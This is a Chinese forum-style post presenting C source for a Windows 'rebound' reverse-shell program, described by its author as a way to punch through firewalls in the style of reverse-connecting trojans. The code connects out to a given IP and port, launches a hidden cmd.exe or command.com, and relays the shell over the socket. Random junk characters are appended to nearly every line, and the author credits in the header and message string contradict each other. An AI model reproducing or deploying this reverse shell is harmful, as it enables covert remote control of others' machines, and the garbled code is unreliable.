这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 k~|ZO/X@l%
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/* ============================== <G9<"{
Rebound port in Windows NT pn*d[M|k
By wind,2006/7
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===============================*/ iiN?\OO^~
#include sL
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#include bL
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#pragma comment(lib,"wsock32.lib") 3N3*`?5c<
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void OutputShell(); JP%RTGu
SOCKET sClient; jrcc
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Xj;2h{#s
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void main(int argc,char **argv) `&,_xUA
{ /J.0s0@
WSADATA stWsaData; H<z30r/-w
int nRet; Di])<V
SOCKADDR_IN stSaiClient,stSaiServer; pLo;#e8'f
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if(argc != 3) f~iML5lG
{ 1O4D+0@
printf("Useage:\n\rRebound DestIP DestPort\n"); Vy r]
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return; U,d2DAvt
} vC-[#]<
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WSAStartup(MAKEWORD(2,2),&stWsaData); `W="g6(
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); }Fz!6F2w
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stSaiClient.sin_family = AF_INET; 30BR0C
stSaiClient.sin_port = htons(0); <L%HG
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); lXw;|dGF
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) /O_0=MLp
{ `U!(cDY
printf("Bind Socket Failed!\n"); )2toL5 Q
return; J]\s*,C&
} flPZlL
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stSaiServer.sin_family = AF_INET; sgD@}":m
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); c%b\CP\)W
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); du8!3I
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Q>V?w gZ
{ VAt>ji7c
printf("Connect Error!"); Qw}xGlF,
return; ko>M&/^
} E4hq}
OutputShell(); XWc|[>iO
} nHE+p\
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void OutputShell() j}"]s/= 6
{ /LSq%~UF
char szBuff[1024]; ~V!EtZG$
SECURITY_ATTRIBUTES stSecurityAttributes; v(a9#bMZU
OSVERSIONINFO stOsversionInfo; Le_CIk 5YL
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Od*v5qT;$
STARTUPINFO stStartupInfo; P mC82"
char *szShell; 83B\+]{hD
PROCESS_INFORMATION stProcessInformation; @H3|u`6V
unsigned long lBytesRead; s~/57S
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Fu#Y7)r
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 1RmBtx\<
stSecurityAttributes.lpSecurityDescriptor = 0; dPRtN@3
stSecurityAttributes.bInheritHandle = TRUE; z=u~]:.1O
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); FU^Y{sbDg
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); /Ql6]8.P
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); $B*qNYpPy.
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; HH+TjX/b
stStartupInfo.wShowWindow = SW_HIDE; Qb@BV&^y&
stStartupInfo.hStdInput = hReadPipe; NuHL5C?To
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; LZbRQ"!!o
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GetVersionEx(&stOsversionInfo); oJhEHx[f
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switch(stOsversionInfo.dwPlatformId) {E3;r7
{ 4;08n|C
case 1: ='KPT1dW*
szShell = "command.com"; bn5"dxV
break; 9tW3!O^_
default: (69kvA&|q
szShell = "cmd.exe"; HW^{ ;'kH~
break; (2n3exx
} >3v0yh_3
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); KwY`<t1lA;
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send(sClient,szMsg,77,0); Uy:@,DW
while(1) B[C7G7<B
{ bBd *}"v^"
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); RJQ/y3
if(lBytesRead) g8C+1G8
{ 9c#L{in
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); D-;J;m
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send(sClient,szBuff,lBytesRead,0); AviT+^7E
} Kv(Y }
else 0^-z?Kb<}
{ h]G6~TYI5
lBytesRead=recv(sClient,szBuff,1024,0); 3 t~X:
if(lBytesRead<=0) break; N;%j#(v
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WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); /^nP_ID
} E>o&GYc
} # Lu4OSM+
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return; "-G.V#zI
}